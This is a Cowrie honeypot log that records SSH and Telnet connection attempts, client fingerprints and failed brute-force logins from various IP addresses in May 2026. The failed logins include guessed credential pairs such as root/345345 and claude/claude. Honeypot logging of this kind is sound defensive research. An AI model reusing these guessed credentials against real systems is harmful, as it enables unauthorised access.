{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:51.860224Z","src_ip":"193.37.70.224","session":"b81f9154fa63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":50080,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a2db0061f28","protocol":"ssh","message":"New connection: 102.88.137.145:50080 (10.17.0.5:22) [session: 2a2db0061f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:52.371480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:52.375318Z","src_ip":"102.88.137.145","session":"2a2db0061f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:52.552864Z","src_ip":"102.88.137.145","session":"2a2db0061f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:53.300546Z","src_ip":"102.88.137.145","session":"2a2db0061f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:23:54.481791Z","src_ip":"102.88.137.145","session":"2a2db0061f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39702,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be1e597774b","protocol":"ssh","message":"New connection: 103.149.28.157:39702 (10.17.0.5:22) [session: 9be1e597774b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:01.662426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:01.668856Z","src_ip":"103.149.28.157","session":"9be1e597774b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:01.922003Z","src_ip":"103.149.28.157","session":"9be1e597774b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"345345","message":"login attempt [root/345345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:02.690455Z","src_ip":"103.149.28.157","session":"9be1e597774b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:03.944597Z","src_ip":"103.149.28.157","session":"9be1e597774b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.18600082397461,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:15.860752Z","src_ip":"192.119.13.58","session":"93a834189086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57870,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ad5c836fbbd","protocol":"ssh","message":"New connection: 103.77.242.62:57870 (10.17.0.5:22) [session: 8ad5c836fbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:18.755985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:18.761455Z","src_ip":"103.77.242.62","session":"8ad5c836fbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:19.002430Z","src_ip":"103.77.242.62","session":"8ad5c836fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":58333,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a11cfe858e0","protocol":"ssh","message":"New connection: 103.219.170.37:58333 (159.203.135.109:22) [session: 7a11cfe858e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:19.292795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:19.297923Z","src_ip":"103.219.170.37","session":"7a11cfe858e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:19.379111Z","src_ip":"103.219.170.37","session":"7a11cfe858e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQQqqq123321","message":"login attempt [root/QQQqqq123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:19.620448Z","src_ip":"103.219.170.37","session":"7a11cfe858e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarakan","message":"login attempt [root/tarakan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:19.724554Z","src_ip":"103.77.242.62","session":"8ad5c836fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:20.703708Z","src_ip":"103.219.170.37","session":"7a11cfe858e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:20.970519Z","src_ip":"103.77.242.62","session":"8ad5c836fbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60278,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3dc0f7ff30","protocol":"telnet","message":"New connection: 192.119.13.58:60278 (10.17.0.5:23) [session: ad3dc0f7ff30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:25.771595Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14ee63c669d","protocol":"telnet","message":"New connection: 192.119.13.58:57422 (10.17.0.5:23) [session: a14ee63c669d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:42.864277Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":43222,"dst_ip":"10.17.0.5","dst_port":22,"session":"290f37d3507f","protocol":"ssh","message":"New connection: 43.156.39.221:43222 (10.17.0.5:22) [session: 290f37d3507f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:50.305201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:50.310516Z","src_ip":"43.156.39.221","session":"290f37d3507f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:50.541242Z","src_ip":"43.156.39.221","session":"290f37d3507f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1A2B3C4D","message":"login attempt [root/1A2B3C4D] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:51.495733Z","src_ip":"43.156.39.221","session":"290f37d3507f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:24:52.730450Z","src_ip":"43.156.39.221","session":"290f37d3507f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36138,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c63669b3907","protocol":"telnet","message":"New connection: 192.119.13.58:36138 (10.17.0.5:23) [session: 0c63669b3907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:01.655167Z"}
{"eventid":"cowrie.session.closed","duration":49.37184453010559,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:15.143335Z","src_ip":"192.119.13.58","session":"ad3dc0f7ff30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02234077453613,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:16.886505Z","src_ip":"192.119.13.58","session":"a14ee63c669d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59694,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b914bab2cf","protocol":"telnet","message":"New connection: 192.119.13.58:59694 (10.17.0.5:23) [session: 16b914bab2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:17.109947Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"585e2d644744","protocol":"ssh","message":"New connection: 167.172.81.52:55154 (10.17.0.5:22) [session: 585e2d644744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:18.269481Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:18.274533Z","src_ip":"167.172.81.52","session":"585e2d644744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:18.278850Z","src_ip":"167.172.81.52","session":"585e2d644744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":56986,"dst_ip":"10.17.0.5","dst_port":22,"session":"4894750eb4aa","protocol":"ssh","message":"New connection: 102.88.137.145:56986 (10.17.0.5:22) [session: 4894750eb4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:19.685935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:19.691526Z","src_ip":"102.88.137.145","session":"4894750eb4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:19.878116Z","src_ip":"102.88.137.145","session":"4894750eb4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"laude","password":"claude","message":"login attempt [laude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:20.656062Z","src_ip":"102.88.137.145","session":"4894750eb4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:21.847548Z","src_ip":"102.88.137.145","session":"4894750eb4aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.132.110.226","src_port":40434,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffe8116124cf","protocol":"telnet","message":"New connection: 186.132.110.226:40434 (159.203.135.109:23) [session: ffe8116124cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:24.081868Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37298,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad6191655b7b","protocol":"telnet","message":"New connection: 192.119.13.58:37298 (10.17.0.5:23) [session: ad6191655b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:26.672354Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48594,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a8bc24a5e6b","protocol":"telnet","message":"New connection: 192.119.13.58:48594 (10.17.0.5:23) [session: 4a8bc24a5e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:29.787819Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41072,"dst_ip":"10.17.0.5","dst_port":23,"session":"61535606c13a","protocol":"telnet","message":"New connection: 192.119.13.58:41072 (10.17.0.5:23) [session: 61535606c13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:35.769301Z"}
{"eventid":"cowrie.session.closed","duration":13.468926906585693,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:37.550676Z","src_ip":"186.132.110.226","session":"ffe8116124cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.691810131073,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:45.346733Z","src_ip":"192.119.13.58","session":"0c63669b3907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45100,"dst_ip":"10.17.0.5","dst_port":23,"session":"742b0b91f3a1","protocol":"telnet","message":"New connection: 192.119.13.58:45100 (10.17.0.5:23) [session: 742b0b91f3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:51.525738Z"}
{"eventid":"cowrie.session.closed","duration":41.65984606742859,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:25:58.769672Z","src_ip":"192.119.13.58","session":"16b914bab2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07444381713867,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:04.862116Z","src_ip":"192.119.13.58","session":"4a8bc24a5e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":43852,"dst_ip":"10.17.0.5","dst_port":22,"session":"d824aee3200a","protocol":"ssh","message":"New connection: 43.156.39.221:43852 (10.17.0.5:22) [session: d824aee3200a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:05.356513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:05.362303Z","src_ip":"43.156.39.221","session":"d824aee3200a","protocol":"ssh"}
